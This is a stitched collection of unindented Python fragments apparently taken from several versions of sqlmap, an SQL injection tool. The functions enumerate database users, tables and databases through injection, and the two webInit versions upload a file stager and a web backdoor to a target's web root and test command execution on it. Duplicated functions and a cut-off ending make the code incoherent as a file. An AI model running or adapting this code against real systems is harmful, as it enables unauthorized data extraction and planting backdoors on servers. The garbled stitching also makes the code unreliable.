def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].users
condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")))
condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if condition:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
kb.data.cachedUsers = []
for value in arrayizeValue(values):
value = unArrayizeValue(value)
if not isNoneValue(value):
kb.data.cachedUsers.append(value)
if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of database users"
logger.info(infoMsg)
if condition:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if count == 0:
return kb.data.cachedUsers
elif not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of database users"
raise SqlmapNoneDataException(errMsg)
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
elif condition:
query = rootQuery.blind.query2 % index
else:
query = rootQuery.blind.query % index
user = unArrayizeValue(inject.getValue(query, union=False, error=False))
if user:
kb.data.cachedUsers.append(user)
if not kb.data.cachedUsers:
errMsg = "unable to retrieve the database users"
logger.error(errMsg)
return kb.data.cachedUsers
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))):
items = parseUnionPage(output)
with kb.locks.value:
# in case that we requested N columns and we get M!=N then we have to filter a bit
if isListLike(items) and len(items) > 1 and len(expressionFieldsList) > 1:
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
index = None
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, items))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
threadData.shared.lastFlushed += 1
_ = threadData.shared.buffered[0][1]
if not isNoneValue(_):
threadData.shared.value.extend(arrayizeValue(_))
del threadData.shared.buffered[0]
else:
with kb.locks.value:
index = None
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, None))
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo):
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items)))))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\r\n" % status, True)
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limits:
try:
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = __oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
if all(map(lambda x: x in output, [kb.chars.start, kb.chars.stop])):
items = parseUnionPage(output)
if isNoneValue(items):
continue
with kb.locks.value:
for item in arrayizeValue(items):
threadData.shared.value.append(item)
else:
items = (
output.replace(kb.chars.start, "")
.replace(kb.chars.stop, "")
.split(kb.chars.delimiter)
)
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo):
status = "[%s] [INFO] %s: %s" % (
time.strftime("%X"),
"resumed" if threadData.resumed else "retrieved",
safecharencode(",".join('"%s"' % _ for _ in flattenValue(arrayizeValue(items)))),
)
if len(status) > width:
status = "%s..." % status[: width - 3]
dataToStdout("%s\r\n" % status, True)
def getTables(self):
if len(kb.data.cachedTables) > 0:
return kb.data.cachedTables
self.forceDbmsEnum()
if conf.db == "CD":
conf.db = self.getCurrentDb()
if conf.db:
dbs = conf.db.split(",")
else:
dbs = self.getDbs()
for db in dbs:
dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)
dbs = filter(None, dbs)
infoMsg = "fetching tables for database"
infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db for db in sorted(dbs)))
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].tables
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
query = rootQuery.inband.query % db
value = inject.getValue(query, blind=False)
if not isNoneValue(value):
kb.data.cachedTables[db] = arrayizeValue(value)
if not kb.data.cachedTables and not conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
query = rootQuery.blind.count % db
count = inject.getValue(query, inband=False, error=False, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
for index in xrange(int(count)):
query = rootQuery.blind.query % (db, index, db)
table = inject.getValue(query, inband=False, error=False)
kb.hintValue = table
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException(errMsg)
else:
for db, tables in kb.data.cachedTables.items():
kb.data.cachedTables[db] = sorted(tables) if tables else tables
return kb.data.cachedTables
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(),
(" (default)"
if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" %
len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"backdoor.%s_" % self.webApi))
stagerContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(
directory) and not directory.startswith('/'):
directory = "/%s" % directory
else:
directory = directory[2:] if isWindowsDriveLetterPath(
directory) else directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl,
stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True),
self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
handle, filename = mkstemp()
os.fdopen(handle).close(
) # close low level handle (causing problems later)
with open(filename, "w+") as f:
_ = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"stager.%s_" % self.webApi))
_ = _.replace(
"WRITABLE_DIR",
directory.replace('/', '\\\\')
if Backend.isOs(OS.WINDOWS) else directory)
f.write(utf8encode(_))
self.unionWriteFile(filename,
self.webStagerFilePath,
"text",
forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(
self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(
EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(
VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(
r'input type=hidden name=scriptsdir value="([^"]+)"',
uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName,
backdoorDirectory,
content=backdoorContent.replace(
"WRITABLE_DIR",
backdoorDirectory).replace(
"RUNCMD_EXE", _)):
self.webUpload(_,
backdoorDirectory,
filepath=os.path.join(
paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl,
backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName,
posixToNtSlashes(directory) if
Backend.isOs(OS.WINDOWS) else directory,
content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName,
directory)
else:
continue
self.webBackdoorUrl = posixpath.join(
ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(
ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def getTables(self, bruteForce=None):
if len(kb.data.cachedTables) > 0:
return kb.data.cachedTables
self.forceDbmsEnum()
if bruteForce is None:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
try:
tables = self.getTables(False)
except sqlmapNoneDataException:
tables = None
if not tables:
errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
else:
return tables
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if conf.db:
dbs = conf.db.split(",")
else:
dbs = self.getDbs()
for db in dbs:
dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)
dbs = filter(None, dbs)
if bruteForce:
resumeAvailable = False
for db, table in kb.brute.tables:
if db == conf.db:
resumeAvailable = True
break
if resumeAvailable:
for db, table in kb.brute.tables:
if db == conf.db:
if conf.db not in kb.data.cachedTables:
kb.data.cachedTables[conf.db] = [table]
else:
kb.data.cachedTables[conf.db].append(table)
return kb.data.cachedTables
message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
return tableExists(paths.COMMON_TABLES)
infoMsg = "fetching tables for database"
infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs)))
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].tables
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
query = rootQuery.inband.query
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
if condition:
if conf.excludeSysDbs:
query += " WHERE "
query += " AND ".join("%s != '%s'" % (condition, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg)
elif not Backend.isDbms(DBMS.SQLITE):
query += " WHERE %s" % condition
query += " IN (%s)" % ",".join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))
if len(dbs) < 2 and ("%s," % condition) in query:
query = query.replace("%s," % condition, "", 1)
value = inject.getValue(query, blind=False, time=False)
if not isNoneValue(value):
value = filter(None, arrayizeValue(value))
if len(value) > 0 and not isListLike(value[0]):
value = map(lambda x: (dbs[0], x), value)
for db, table in filterPairValues(value):
db = safeSQLIdentificatorNaming(db)
table = safeSQLIdentificatorNaming(table, True)
if db not in kb.data.cachedTables:
kb.data.cachedTables[db] = [table]
else:
kb.data.cachedTables[db].append(table)
if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
query = rootQuery.blind.count
else:
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if count == 0:
warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db)
warnMsg += "appears to be empty"
logger.warn(warnMsg)
continue
elif not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
tables = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.SYBASE):
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.blind.query % index
else:
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)
table = inject.getValue(query, union=False, error=False)
if not isNoneValue(table):
kb.hintValue = table
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the table names "
warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
if isNoneValue(kb.data.cachedTables):
kb.data.cachedTables.clear()
if not kb.data.cachedTables:
errMsg = "unable to retrieve the table names for any database"
if bruteForce is None:
logger.error(errMsg)
return self.getTables(bruteForce=True)
else:
raise sqlmapNoneDataException, errMsg
else:
for db, tables in kb.data.cachedTables.items():
kb.data.cachedTables[db] = sorted(tables) if tables else tables
return kb.data.cachedTables
def searchDb(self):
foundDbs = []
rootQuery = queries[Backend.getIdentifiedDbms()].search_db
dbList = conf.db.split(",")
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
dbCond = rootQuery.inband.condition2
else:
dbCond = rootQuery.inband.condition
dbConsider, dbCondParam = self.likeOrExact("database")
for db in dbList:
values = []
db = safeSQLIdentificatorNaming(db)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
db = db.upper()
infoMsg = "searching database"
if dbConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if conf.excludeSysDbs:
exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg)
else:
exclDbsQuery = ""
dbQuery = "%s%s" % (dbCond, dbCondParam)
dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
query = query % (dbQuery + exclDbsQuery)
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
values = arrayizeValue(values)
for value in values:
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
if not values and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of database"
if dbConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
query = query % (dbQuery + exclDbsQuery)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no database"
if dbConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2
else:
query = rootQuery.blind.query
query = query % (dbQuery + exclDbsQuery)
query = agent.limitQuery(index, query, dbCond)
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
conf.dumper.lister("found databases", foundDbs)
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage, re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
if "[]" in value:
page, headers = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
if value != cookie:
page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
if value != cookie:
page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def getStatements(self):
infoMsg = "fetching SQL statements"
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].statements
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query
while True:
values = inject.getValue(query, blind=False, time=False)
